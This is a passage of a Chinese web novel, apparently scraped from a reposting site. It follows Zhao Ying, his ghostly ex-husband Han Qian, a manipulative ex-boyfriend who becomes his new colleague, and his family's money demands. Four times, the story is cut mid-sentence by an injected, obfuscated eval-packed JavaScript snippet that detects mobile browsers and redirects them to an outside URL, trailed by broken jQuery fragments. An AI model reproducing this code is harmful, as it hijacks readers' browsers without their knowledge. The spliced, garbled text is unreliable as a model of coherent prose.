以及,赵郢还没问责撺掇赵父赵母出钱投资的罪魁祸首——他回家前去了趟赵宝瑞的学校,班主任说他请了一周的假,问和赵宝瑞关系好的朋友,也都说不知道他去哪了。 赵父对此闭口不谈,赵母心心念念被卷走的五十万存款,眼泪像断了线的珠子,隔三差五地往下淌。 “老大,我们是一家人,你要想想办法。” 赵母泪水涟涟地望着他,这次他和赵莱赶回来,也没问他们近况,关心的话更是一个字没提,谈到钱就又是一家人了。 赵郢不语,赵母便把陈芝麻烂谷子的旧事一件件重提,什么卖牛交学费,生他的时候难产大出血差点没了名,五岁发高烧不退背着他走了几公里到镇上挂盐水。 每一件都真实地发生过,爱是真的,愧疚是真的。 但那种如同浮在云端,不知道下一秒会不会摔得粉身碎骨的感觉也是真的。 赵郢很难评判对错,他没这个资格。 “好了,妈。”他轻声说。 “这笔钱我一个人出就好,等明天回南水,我会把十万块打到你们卡里。” 赵莱侧目,难以置信道:“哥?” 赵郢没管她,接着说:“但我有个条件。今后每个月,我需要查看你和爸的银行卡流水,一旦发生五千元以上的交易,我会第一时间问清钱的去向与用途。” 赵母当下喜笑颜开,满口答应下了。 夜里赵郢收到韩谦的微信消息,像偷吃垃圾食品一样,偷感十足地跑到很远的草垛打字回复。 他第一天走得匆忙,纸条也没留一个,韩谦以为他睡完不认账,在高铁上语音轰炸他十几条,后来可能是上班问过行政,这才消停。 韩谦:[行政部门的陈姐说,你请的是事假。方便和我说吗?]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985781|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵郢:[不方便。] 韩谦:[好吧。(图片)(图片)(图片)] 他一下子发来三张图,隔了一秒,又发了三张,拍的都是这两天的三餐饮食。 早餐是便利店热腾腾的包子,配一杯鲜榨果汁,午餐分别吃的是咖喱鸡肉饭,和新开的一家轻食自助,晚饭一如既往。 稍后,赵郢的手机里加载出一个视频,不长,十几秒。 他点开看,摇晃的镜头对准一只油光水滑小三花,这是云升前台散养的吉祥物,喂得胖墩墩的,像眯着眼的小海豹。 录视频的人只有手出镜,修长有力的指节有一下没一下地撸着猫咪的脑袋,手背到小臂青筋虬结,很性感。 韩谦:[行政说你后天正常上班,是不是明天就回南水了?几点到,我来车站接你。] 赵郢:[下午两点,你还没下班,接个屁。] 韩谦:[我找行政请假,赵郢。] 赵郢走了会儿神,夜风将他外面那件针织衫吹得衣领翻飞。他按着录音键,嘴唇靠近听筒:“陈姐会一巴掌拍飞你,然后找我告状,说我带的人成天就知道逃班。” 韩谦:[好吧。] 韩谦:[那我能不能来你家找你?] 赵郢还在考虑,他马不停蹄地发: [好不好?赵郢赵郢赵郢。] “……” “密码951103。”赵郢说,“怎么那只猫这么亲你?之前它见了我就跑,喂猫条都不吃。” “同类相斥啊。”韩谦在语音里说。 最后一张照片传到赵郢手机,是韩谦对镜拍的,倒三角的后背上明明白白地印着没好全的抓痕。 赵郢返程当天,南水市正在下一场暴雨,他下午两点到家,晚上七点还在陆陆续续地下着雨。 厨房的锅里小火煨着汤,电饭煲启动保温模式,餐桌上的两盘家常菜已经凉了,赵郢想着等韩谦到了再回锅热一遍。 七点半,窗外雷声震天,赵郢把电视机的音量开到最大,裹着毯子缩在沙发角落发呆。这时门外的密码锁响起六下连续输入密码的声音,他掀开毯子,赤脚踩在地板上,家居服外面披了件驼色的开衫。 大门一开一合,韩谦穿着一身湿透的黑色冲锋衣,落汤鸡似的扔下包冲到他面前,双臂穿过腋下将赵郢提着抱了起来。 赵郢被他蹭了一脸水,不满地嘟囔道:“说谁像猫呢?没大没小的,到处乱蹭和狗一样……” 韩谦抱得更紧了,勒得他肋骨疼。赵郢拍拍他的肩膀,力道渐渐松懈下来,韩谦贴着他的耳朵小声说:“汪。” 16. 第 16 章 四年前的韩谦虽然狗,却还是一只赏味期好比,不像现在—— 已经进化成邪恶坏比大王,变成幽灵状,不厌其烦地绕着赵郢打破砂锅问到底,一定要他给出个答案。 “赵郢?赵郢!赵……” “烦死了!”赵经理骂道。 这层一大半都是他和罗廉开团队的人,赵郢这一声动静很大,引来不少关注。工位比较靠近的同事上前问怎么了,赵郢余光看着上一秒韩谦彻底消失的地方,挥手拍了两下。 “有蚊子呢。”他抓了一团名为“蚊子”的空气,扭开窗户把手扔出去,假笑道,“刚刚追着我咬,你说烦不烦?” 同事重重地点点头,深恶痛绝道:“我明白,我懂!赵经理,我抽屉有瓶驱蚊水你要不要?托代购在泰国买的,效果特别好。” “不用了,谢谢。” 赵郢手指握成拳,放在嘴边咳嗽道:“那个……蚊子已经死了,你接着干活吧。” “好嘞!” 他进办公室后拉下四面的百叶帘,韩谦的身形渐渐显现,他抱着手臂,嘴撅到天上:“谁是蚊子?谁死了?我一走你就在背地里说我坏话!” 话又说来:“快点,我们到底是什么关系?”赵郢一步步朝他走来时,韩谦忽然住嘴了。 上班期间的赵郢样子很迷人,四年前的韩谦就深谙其中真谛,柔软富有垂感的西裤、浅色系长袖衬衫,天气冷了会在外搭一件针织衫,比如今天就是。 那副无度数的无框眼镜也是赵郢的常用品,当年韩谦问他没近视为什么要戴,赵郢把眼睛摘下来,隔了一会儿重新架在鼻梁上,似乎是在做对比。 他眼角仿佛一枚小钩子,眨眨眼,说客户谈生意更喜欢成熟稳重的乙方,戴副眼镜方便凸显气质。 也是,韩谦心想,赵郢那双眼睛长得那么勾人,遮一遮也好,免得被人惦记,不过在他面前可以不用这样。 赵郢比他矮一截,说话得仰着脸才行,胸前的工牌配的是一条深蓝色的挂绳,将颈部衬得莹白如玉。 他一见韩谦欲说还休复杂深沉那样,就知道这人脑子里肯定装了些不干不净的东西,“想什么去了?” “在想你的眼睛……”韩谦不慎中了美人计,无意识说漏好几个字,临到紧要关头,他巧妙化解道,“真丑。” 赵郢:“……”傻逼。 “我们没有关系。”他坐回办公椅,电脑的光反射到脸上,让他看起来越发冷酷无情,“离婚协议书上有写,双方因性格不合致使感情破裂。非要说的话,勉强算前任。” 韩谦许久没有说话,赵郢有工作在身,也懒得找他的鬼影。 与客户交涉完,他伸了个懒腰拉伸筋骨,抽空在饿了么上点了两杯福莲楼的黑糖珍珠,一杯三分糖,一杯全糖,都是少冰。 此时白舒沅发来消息,快到下班的点了,也不算摸鱼。 白天的我活得像具尸体:[赵哥,重大小道消息!] 赵郢:[不信谣不传谣。] 白舒沅:[罗老登亲口说的,他马上要被公司调到其他城市了,总部极有可能在这个月派一名新同事过来填补空缺!] 赵郢躺在办公椅的靠背上,打字:[这样。] 白舒沅:[据可靠消息,那人来头不小,好像是……那位新总监的老公?] 云升最近提了不少人到燕城总部,职级不一,但新总监只有一位,就是杜蘅。 赵郢感觉很微妙,既然有杜家这层关系在,直接在总部安排个享清福的闲职不好吗?尽管南水也是一线城市,到底是在南方,南北地域差异显著,从北方来的人一开始都很不习惯这里的天气和饮食习惯。 他多问了嘴:[小白,新经理叫什么知道吗?] 白舒沅:[嘶……全名我忘了,只记得他姓廖?] 赵郢“唔”了一声,更微妙了。 下班的时候,韩谦没有显形,赵郢喊了两声,依然无鬼应答。他把工牌从头上取下来,挂绳环绕着缠了几圈,装进跨包夹层,还有下午没喝完的椰子水,拧紧瓶盖一并带走。 这间办公室不大,一点点排查起来花不了多久。赵郢在一盆一人高的龟背竹旁碰到类似空气墙的物体,用手推了推,那团空气发出韩谦的声音:“干嘛!” “想在办公室过夜是吧。”赵郢知道他没走,黑色皮质挎包上的无牙仔挂坠在腰侧晃了晃,“折叠床在柜子后面,柜子里有枕头和毯子,明天见。” 赵郢往外走,挎包在门开的刹那重了不少,细看发现无牙仔的银色钥匙圈上多了根手指,一打眼是不突兀的,凑近才是细思极恐。 “谁说我在办公室过夜了?” 韩谦说:“大半天没见公主,它会很想我的。”他跟着赵郢碎碎念,“我没有生气,也并没有太在意,前任就前任呗,哈哈,nobodycares。” 鬼的眼泪是有形状的,和人一样,滴在地上宛如绽开的水花。赵郢眼看着途径的地毯上多了一长条蛇形的渍痕,失语地从包里拿出那瓶椰子水,假装是瓶子破了,烦恼地抚了抚挎包边角。 演到进电梯,韩谦终于不哭了,赵郢也终于可以把被冤枉了一路的椰子水装回挎包。 云升的外卖柜就在一楼前台附近,赵郢输入手机尾号,对应的某一个柜格打开,他从中拿走装着双杯奶茶的保温袋。 “买奶茶了?” 韩谦小声说:“福莲楼的外包装……给我买的?” 赵郢伸手揉着鼻尖,掩饰嘴唇的动作以免有人发现他在和空气说话:“就不能是我给自己买吗。” “赵郢,你一个人喝两杯奶茶?喝得完吗你。” 钉在奶茶袋外部的外卖单好似随风飘扬了一下。 韩谦:“还是一杯微糖一杯全糖,哼。” 赵郢很轻地笑了笑,扶住有些滑落的镜架,没有说话。 晚饭是懒人式的家庭版牛肉火锅,食材都是现成的,赵郢拆了一包冷冻潮汕牛丸、两盒肥牛,洗了一盆素菜,锅底一半麻辣一半番茄,开锅就闻到浓郁的料底味了。 这些还是他上个月超市促销囤的,说忙完就奖励自己舒服一把,结果一忙忙了一个月。 赵郢用小碗打了三分之二的芝麻酱,加入少许蒜泥、香菜、葱花,拌一勺酱油和香醋,搅拌均匀后淋一层薄薄的辣椒油。 这是属于又菜又爱吃的人的做法。 赵郢饭前一般都挑一部影视剧下饭,客厅的液晶电视充了一年的年费会员,超高清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985782|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4K画质。 百分之十透明度的韩谦盘腿坐在他左侧,已经将吸管插进奶茶杯里了,就目前的情况而言,他没有完全转为实体,是不能摄入任何食物的。 只能看着赵郢吃,看着赵郢喝。 “怎么又看《权力的游戏》?都陪你重刷七遍了,换一个。”韩谦抗议道。 赵郢纠正道:“八遍。” “什么八遍?明明去年……”韩谦话到嘴边止住了。 他们离婚原来已经有整整一年了。 以至于他的记忆还停留在离婚的七遍,而赵郢早就往前走了不知道多少步。 赵郢往锅里下肥牛和牛肉丸,筷子将食材摁进沸腾的汤底,他看一眼韩谦,随意道:“那就换一个吧。看什么?” “岩井俊二那部《情书》。”韩谦说。 这是部几十年前的老片子了,他们之前也看过很多次,每次重温韩谦都哭得很难看,然后捂着脸被赵郢笑话。 赵郢按下播放键,电影开始。 他和韩谦都安安静静地看着电影,空气挤进煮沸的火锅,又在一个个气泡破裂时回到空中,就仿佛是一年前,或者他们还没有分开的某个时刻,在一起度过的一个平凡的夜晚。 镜头拍到那张藤井树的肖像画,赵郢若有感应地放下手中的碗筷,抽了张纸巾拍在韩谦脸上。 他转过头,纸巾左右两侧各印着一个圆圆的泪迹,轻飘飘地落下来,映入眼帘的是韩谦那张错愕的脸。 两人都没有发声。 这是赵郢的一个习惯,他们之间有许多相似的习惯。 比如削完苹果,第一口一定是韩谦吃的,因为赵郢不喜欢吃脆苹果,而韩谦则不在乎口感。 比如他们都爱看恐怖片,又菜又非得看,到了高能预警环节,会互相帮对方挡着眼睛,当然,韩谦有时候会故意晚那么几秒。 又比如一些需要抉择的时刻,他们总是意见一致地抛硬币解决…… 很多很多。 养成一个习惯需要二十一天,把习惯固定要更久,赵郢暂时还没有忘掉习惯的能力。 “鼻涕泡擦一擦。”赵郢嫌弃道,“别滴我火锅里。” 韩谦擦干脸,叫嚷道:“赵郢你眼泪鼻涕都分不清!” “行行行,别吵我看电视。”赵郢挥挥手。 入夜,赵郢还是独自睡在主卧,那扇房门对于韩谦来说就像插着钥匙的锁,防得住君子防不住小人。 韩谦显然是后者。 赵郢的被子大半夜多出一道一米九长的人形空隙,上班时轻微感冒演变为重感冒,两个呼吸孔统统塞住,外面闷了层医用口罩,越发呼吸不上来。 踏入公司后,赵郢突然有种不好的预感,他捏紧口罩边缘的鼻夹条,猛地打了个喷嚏。 刚直起腰,赵郢的顶头上司——刘总言笑晏晏地走过来,抬着一只手,给身后的人引荐:“彦川啊,这就是我的得力干将,赵郢。你们都是同一个大学毕业的,说起来还是学长学弟的关系。” 被称作“彦川”的男人上前一步,西装笔挺,五官端正硬朗,额发反梳向后脑勺,浑身散发着成熟的气息。 廖彦川露出一抹温润的笑,伸出手:“学弟,以后多指教。” 17. 第 17 章 廖彦川笑如春风,形状好看的眼睛弯弯的,给人一种很容易亲近的感觉。 如果是十年前的赵郢,或许还会被他这套蛊惑得五迷三道,但十年后的赵郢内心毫无波澜,甚至有点想骂人—— 某个死鬼贴得太近了。 韩谦仗着能隐身,仿佛一条盘旋在树身上的蟒蛇,仅用一只手臂丈量着赵郢的腰部尺寸。他后背凉风习习,不由得想起老版《青蛇》里小青缠着法海的那一幕,呼吸一紧。 尖锐冷硬的颌角轻轻挤压赵郢耳尖,韩谦以气音说:“你们还要握多久?” 和廖彦川再多旧怨,也都是过去的事了,表面功夫还是得做好。赵郢把手拔出来,牵了牵唇角:“客气了廖经理,久闻不如一见。” 话没说完,韩谦咬着他的耳朵气急败坏:“说话就说话,不许对他笑!” 赵郢置若罔闻。 韩谦并不认识廖彦川,因为他只提过有一个渣男前任,没说渣男姓甚名谁,这让赵郢狠狠松了一口气。 他强压恶心,客气地陪着演了出“学长学弟”的戏码。廖彦川一副无事人的做派,头发喷了啫喱水抹向脑后,露出浓密的鬓角,人模狗样地微笑:“真怀念啊,当年学弟在系里可是风云人物,年年绩点排第一,奖学金拿到手软。” “前几年拜托中间人要了几次学弟的微信,可惜都没有回音,这次也是有缘。”廖彦川当着刘总的面,把微信二维码递了过来,“不知道学弟愿不愿意?” 赵郢做表情做得脸有点僵,廖彦川还是几年前的老德行,拿准了他不会让人下不来台,况且这层楼几十号人看在眼里,赵郢更不可能拒绝。 “是吗?”赵郢的微信列表多了一个好友,他添上备注,低着头,“太久远,我都记不太清了。” 他正憋闷,身旁全透明的韩谦阴测测骂了句脏:“装货。” 这一声骂进赵郢心里,他一个没忍住,噗嗤笑出声。 新官上任三把火,廖彦川要接手罗廉开的团队,少不了与几位核心成员过过招。 会议室亮起灯,刘总朝赵郢招招手,示意他随着上楼一趟,赵郢心知其意,即刻便跟了过去。 八年前,赵郢以实习生的身份进入云升的时候,刘总就是刘总了。云升在南水市的分公司就像一个跳板,跳过去了是燕城总部,没跳过去奖励再熬一轮。 这些年人员调动,升的升走的走,流水一样的员工,铁打的刘总。赵郢被他一手提拔上来,竟也机缘巧合地继承了这份铁屁股。 “赵郢,不用我说你应该也清楚。”刘晋扇了扇手让他随意找地方坐,“廖彦川上头有人,得罪不起。” “杜总怎么不把他留在燕城?近水楼台先得月,何必折腾一遭。”赵郢拍拍裤子上的褶皱,实际是拂开韩谦放在他腿上的那只手。 “这你就不懂了。” 刘晋神神秘秘的:“小夫妻冷战,这叫下马威。” 他泡了杯普洱,唉声叹气道:“我这个年纪也快到退休的时候了,本来想让你接我的班,现在倒好,这事我做不了主了。” “退休?”赵郢不解道。 刘晋比他大了一轮多一点,没满五十,换句时髦的话来说,正是奋斗的黄金时期,关退休什么事? 他瞥向被他驱赶后,翘着二郎腿坐在沙发另一角的韩谦,隐约有些懂了。 刘晋资历老,跟着乔成彬干了几十年,当初也是他授意将韩谦被分到赵郢组里。 论情分,韩谦得喊他一声刘叔。 “也没几个月了。”刘晋说,“不管你和廖彦川有多深的矛盾,趁着我还在,该放下的放下,好好相处。免得等我走了,有人存心想为难你。” 刘晋在酒局里油腔滑调,私下却十分宽和惜才。那时之所以把韩谦安排到赵郢组里,一方面考虑到韩谦脾气差,一般领导看不惯,另一方面也是想让赵郢搭上这条线,发展发展。 他不知道的是,赵郢不光发展了,还发展得非常深入,而那位发展对象冒着冷气,此时正坐在他的办公室。 “今晚两个团队聚餐,你准备一下。”刘晋边说边打了个寒颤。 赵郢说了声好,离开时,刘晋研究着空调遥控器,那句“我也没开制冷啊”被他关门的动作隔绝在门外。 两个团队加起来有不少人,廖彦川按照职级,只请了其中的一小部分,八人座恰好坐满。 选的餐厅是一家被大众点评列为“南水市十大必吃榜”的韩式烤肉,廖彦川提前预约了包厢,到了以后直接进去就行。 穿着制服的服务员在前面带路,原本走在第一个的是罗廉开手下的人,那人在包厢前停了停,让出一个身位,“今天廖哥请客,廖哥先进!” 廖彦川推脱不下,只好顺水推舟地第一个入场。 赵郢和罗廉开不对付已久,各自的下属也是想看两相厌的态度,赵郢最后一个进的包厢,换了鞋,只有白舒沅和廖彦川中间还剩一个位置。 “看廖哥手上的戒指……结婚了?”有人问道。 廖彦川翻看菜单,没接话,很自然地把话题过渡到众人的忌口上。 再一看,他右手的那枚戒指已经被悄悄取下了。 选好要点哪些后,廖彦川按铃叫来服务员。每个人都报上随餐饮品,轮到赵郢,他要了一瓶韩式烧酒,中途却被廖彦川打断。 对方笑容谦和,温声细语地说:“他胃不好,麻烦换成蜂蜜柚子茶,常温。” “不好意思。”赵郢抬抬手,加重语气道,“还是要烧酒。” 他话里没有回旋的余地,廖彦川表情不变,没有强求。 两人毕竟是旧相识,再过多少年,赵郢也记得此人堪比马蜂窝的心眼。廖彦川太会凭外表叫人放下戒心,一流的演技,不入流的人品,不到一天就收服了罗廉开的老部下,怎么都不是个善茬。 因此廖彦川叫服务员送来茶壶,想帮赵郢涮一涮碗筷时,他转手把涮好的餐具推到白舒沅面前,亲自动手把原本属于白舒沅的那套过了遍水。 这下明眼人都细品出不对了。 “听刘总说,廖哥和赵哥上的是同一所大学?” “是呢。” 廖彦川眼角攀上几道浅浅的笑纹,“我们还在一个社团,曾经也是经常约着去学校小吃街的关系,对吧学弟?” 赵郢握着烧烤夹,不动声色地给油纸上的五花肉翻了个面:“你们廖哥是社长,规定了每个月团建一次。不过大家晚上都闲着没事,又是社长请客,不去白不去。” “我这是没办法。他们这群新生个个躲在寝室打游戏,不说请客还真出不来呢。”廖彦川脸上的笑容冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985783|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分,转头找旁边的人闲聊去了。 赵郢还在翻着烤肉,一副心不在焉的模样。他下班后就感受不到韩谦的存在了,在办公室偷偷喊了几声,没人理他,走之前给备注为“公主”的联系人发了好几条消息,问韩谦是不是回家了,同样石沉大海。 五花肉里烤出来的油花滋滋作响,白舒沅偷偷戳了戳他的手臂,超小声:“赵哥,肉快烤焦了……” “抱歉。”赵郢将熟透的肉片放在公用瓷碟上,“不小心走神了。” 烤肉的食材上了两轮,他没吃多少,却觉得胃里有些撑,于是起身离席,摸走外套口袋里的烟。 店面左侧是一条小巷子,很深。 赵郢薄唇含着烟嘴,打火机砂轮擦了两下,烟没点着。 半晌,他把烟拿下来,后臀抵着粗糙的墙面:“韩谦,是你想的那样。” 眼前的地面上多了一道狭长的人影,韩谦一半的脸藏在黑暗中,灰蓝色的眼睛泛着冷意:“你之前为什么不说?” 赵郢一愣,解释道:“我今天才知道调过来的人是他……” “他还对你那么亲昵!”韩谦一拳头砸在赵郢脸侧的墙面上,几粒松动的石子应声嗖嗖抖落下来。 “你发什么癫?” 赵郢拧着眉,扬声道:“分手十年的前任,我又不是他肚子里的蛔虫,他亲昵是他的事,你冲我吼什么?是我犯贱主动贴上去了,还是我可怜巴巴求着一个已婚男人复合?” “廖彦川就算扬成一捧灰,在我眼里也跟普通的尘土没什么区别,他掉一粒在我手上我还嫌脏!” 赵郢心里也憋着火,不吐不快。 这段时间他总在不安,韩谦在辽西被山石砸中,送往医院抢救的那天,他夜半心悸,辗转失眠了一夜。 在确定韩谦复生之前,他照样没睡过一次好觉。 他好像又回到了一年前的日子,精神衰弱,习惯性呕吐,看着在身侧熟睡的韩谦,满脑子回荡着赵父赵母声泪俱下的逼迫。 他不知道该恨谁。 赵郢的胸口剧烈起伏着,稳定下来后,他掐着掌心,抬头:“我——” 刚说一个字,面前那个阴影足以笼罩他全身的高大男人眼眶发红,不知道站着哭了多久。 赵郢:“……” 好端端的,这是在做什么。 “赵郢,我们也分手了,我也是你的前任。”韩谦双手垂在腿侧,低声道,“我是不是比廖彦川还不如?是不是掉一粒在你手上你也嫌脏?” 赵郢:“……就因为这个不开心?” 韩谦抿着嘴不理他。 他身上穿的是赵郢昨天刚烧过去的运动外套,很休闲,像经常上表白墙,颇有几分姿色的男大学生。 他们结婚后,韩谦穿衣风格日益成熟,这次是赵郢私心作祟,想看一看他当初的模样,现在看到了,发现原来什么都没变。 赵郢清了清嗓子,不料巷子口多了个人,他没能说下去。 “怎么?”赵郢望向一身烟火味的廖彦川。 对方不疾不徐地说:“你在打电话啊。我看你出来很久,想看看有没有发生什么意外。” “没有意外。” 赵郢理了理衣领,经过廖彦川时停下脚步:“只是男朋友生气了,出来哄一下。” 18. 第 18 章 这顿饭持续到晚上八点,廖彦川在前台结账,赵郢和几个同事们站在门口。 他不想多留,正巧车道路过一辆亮着“空车”绿灯的出租,他招手拦了下来,矮身上车的时候,身后传来窸窸窣窣的闲言碎语。 “赵郢可以啊,第一天就给廖经理甩脸子,也不看看咱们廖哥是谁的人。” “人家有刘总保着呢,不像咱……” 司机的车发动得太突然,赵郢因为惯性猛地往后一倒,后面的话都没听清。 到家后,赵郢从冰箱上摘下一张便利贴,不知道在哪翻出来的笔,是很死亡的荧光芭比粉,韩谦的小学生字体在纸面排列得整整齐齐,写道: 下楼遛公主,勿念。 “念”字后面还跟着一个涂满的粉色爱心。 便利贴是他们结婚那年买的,一大箱,用都用不完,在储物间放的时间太久,那层固定的压敏胶有些失灵了。 他想把贴纸按回冰箱上,一眨眼,纸张轻飘飘地落回掌心。 赵郢心头一涩,忽然烟瘾犯了,想去阳台抽根烟。 前几年赵莱和韩谦在劝阻他抽烟这条道路上荣获年度戒烟宣传大使称号,前者是不定期将一些吸烟有害健康的科普视频转发到他微信,后者则采取行动手段,见一根没收一盒,见一盒没收一整条,然后烦躁地箍着他的脖子,大喊说“赵郢你有没有在听”。 他当然知道抽烟很糟糕,但如果人的心情郁结到了某个临界点,又找不到任何地方发泄,好像也只能这么做。 赵郢从小就是家长教训小孩时必然提到的“别人家的孩子”,他扮演着父母眼中的好儿子,同学眼中的好榜样,弟弟妹妹眼中的好哥哥,其实他连自己的梦想是什么都一无所知。 读书,考个好大学,毕业后找份好工作,成家立业再乌鸦反哺,这是赵父赵母为他规划好的未来。 没有韩谦,他可能真的会踏上这样的人生。 但韩谦出现了,打破了他如同一汪死水的生活,让他从了无生趣的冰,燃烧成有了情/欲的火。 指尾不小心碰到烟头,灰白色的烟灰散落一地,赵郢另一只手拿的烟灰缸却干干净净。 他发呆好久。 阳台与客厅被一扇玻璃门隔开,赵郢没有将门完全拉上,因此他听到密码锁解开的声音和公主的两声嗷呜,及时地回了头。 公主穿戴着皮质的老花小狗胸背,牵引绳宛如魔术现场那般悬在半空,它累倒在客厅的柔软狗窝里,精力已然耗尽。 紧接着,阳台的扫帚簸箕飘了起来,像被巫师施了魔法的飞行道具,韩谦一边扫着地上的烟灰一边用扫帚把赵郢哄赶到客厅。 “怎么又抽烟,烦不烦?等你寿终正寝的那天,我会向医生申请做解剖,那时别人会看着你的器官惊讶地说‘哦我的上帝,这个人的肺部颜色和黑芝麻一样深‘!” 赵郢看着他忙碌的背影,情绪倏忽间变得轻盈,下一秒仿佛被人点中笑穴,毫无预兆地捂着肚子笑个不停。 韩谦:“……” 赵郢笑了快五分钟,眼角溢出泪花,苍白的脸颊多了一丝血色。他上气不接下气地说:“对不起,你看起来像电视剧里的魔法保姆。” “呵呵。”韩谦把扫帚一扔,消极罢工,“自己扫去。” 赵郢摊摊手,在水果箱里摸出一颗汁水饱满的耙耙柑,慢条斯理地剥了起来。 他把剥完的果皮扔到阳台祛味,弯腰时,韩谦趁机推了推他的胯骨:“赵郢,那句话是认真的吗?” “哪句?”赵郢问他。 “那句就是那句啊!” 韩谦咬着后槽牙:“你他妈少装傻!” 哦,赵郢心想,应该是他为了堵廖彦川的嘴,说自己在哄自己男朋友那句。 “假的。”他说,“纯纯看姓廖的不爽。” 赵郢把抽纸都准备好了,迟疑道:“要哭出去哭,大晚上的怪瘆人,邻居要投诉的。” 韩谦拍掉抽纸,语气凶狠地说了声滚。 赵郢一向不把他的狠话放心上。 这会儿正好来了个电话,他把韩谦赶到阳台外,关紧玻璃门,对着幽灵形态的韩谦竖起食指,“喂?” “哥,是我,赵莱。”电话那头的人说道。 赵郢看了眼手机,是一个没有备注的陌生号码,不是通讯录里赵莱常用的手机号:“换联系方式了?” 赵莱没答话,而是说:“六月份高考完,爸妈准备让赵宝瑞住你家。” “爸妈跟你讲的?我怎么不知道?” “前几天的事了。”赵莱声音透着淡淡的无语,“八字还没一撇,就惦记着我俩谁来给赵宝瑞当牛马。他们一开始想我腾个地方出来,我说我租的一室一厅,爸妈不同意,非要我再换套三室一卫的房子住。” 赵郢抓到重点:“三室?” 赵莱“嗯”了一声,不屑道:“我一间,赵宝瑞和她女朋友一间,还有他们的宝宝一间。” “他把人家女孩子的肚子弄大了……”赵郢皱眉,“你后来怎么说的?” “我说,想让赵宝瑞跟我一块住,除非我死。”赵莱轻声道,“我把手机号销了,新号目前只给你打过电话。哥,你知道的,他们在我这尝不到甜头肯定会来找你。当年你给他们兜过一次底,这回不是小事,还要继续吗?” “你去年因为爸妈跟韩谦离……” 隔墙有耳,赵郢挂断电话,隔了一两秒回拨过去:“刚刚信号不好。” “有件事忘了告诉你。”他看到韩谦那双时刻把目光投放在自己身上的眼睛,缓缓转过身,面向阳台的窗户,“韩谦去世了,意外死亡。” “他死了?”赵莱的音调提高了八个度,“不是说好人不长命,坏人遗千年吗?赵郢,你是不是在骗我?” 赵莱见过韩谦几次,在他们正式确认关系后不久。 也许他们注定是一对天生不合的“妹嫂”,赵莱对韩谦口味、不标准的普通话以及在赵郢身上犯下的恶行进行了由里到外的批判。 她形容韩谦是一个空有美貌的低素质人士,劣质的舶来品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987227|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被过量甜味素填满大脑的糖尿病预备役。 当时韩谦差点和她打起来,赵郢路过问了句她在哪报的语文培训班,用词如此精辟高级,两人双双停下来,最后的结局是韩谦从赵莱那里要到了补习班中介的微信。 后来他们在美国的西姆斯教堂交换结婚戒指,距离十三小时的时差,赵莱包了一个数字吉利金额巨大的红包,说很遗憾因为工作不能参加他们的婚礼。 她是第一个,也是唯一一个知道并承认赵郢伴侣的亲人。 韩谦背对着落日金辉下的云海群山,不悦道:“就算你有空也不能来。教堂只能有三个人,我、赵郢和神父。你想当神父吗,小妹?” 眼看又要吵起来,赵郢把镜头拉回自己面前,笑着和赵莱道了再见。 另一头的赵莱长时间地沉默,似乎在思考赵郢这番话的可能性。 她说:“你难过吗,赵郢?” 阳台边的人望向那抹肌肉宽厚的身影,说道:“难过呀。” “我还在想……那件事是不是我做错了决定。” “你没有做错。”赵莱否定道,“那个时候你只能这么选。但一切并非不能避免,赵郢,你错就错在被这层血缘关系勒死了脖子,明明剪刀就在手边,你不动手,反而一次次地纵容他们、纵容赵宝瑞!” 赵郢没有出声,像在沉思。 “韩谦的墓地在哪?”赵莱问,“下次我到南水,我们一起祭拜一下他。” 赵郢轻声道:“好的。” “我还是不相信他死了。”赵莱的声音断断续续,“虽然韩谦这个人不怎么样,但不可否认……他活着,你才能活着。” 赵郢笑了声,心想,真是旁观者清。 他把手机往棉质长裤的口袋里一塞,玻璃门在地轨间滑动,动静不小。 “电话打完了?”韩谦盘腿坐在狗窝前,骨节粗长的手指捏着公主专用的天蓝色弹力球。 “嗯。”赵郢捡起茶几上没吃完的耙耙柑,扔一瓣到嘴里。 “我听到了,小妹打来的。”韩谦顿了顿,说,“那次的我也听到了。” 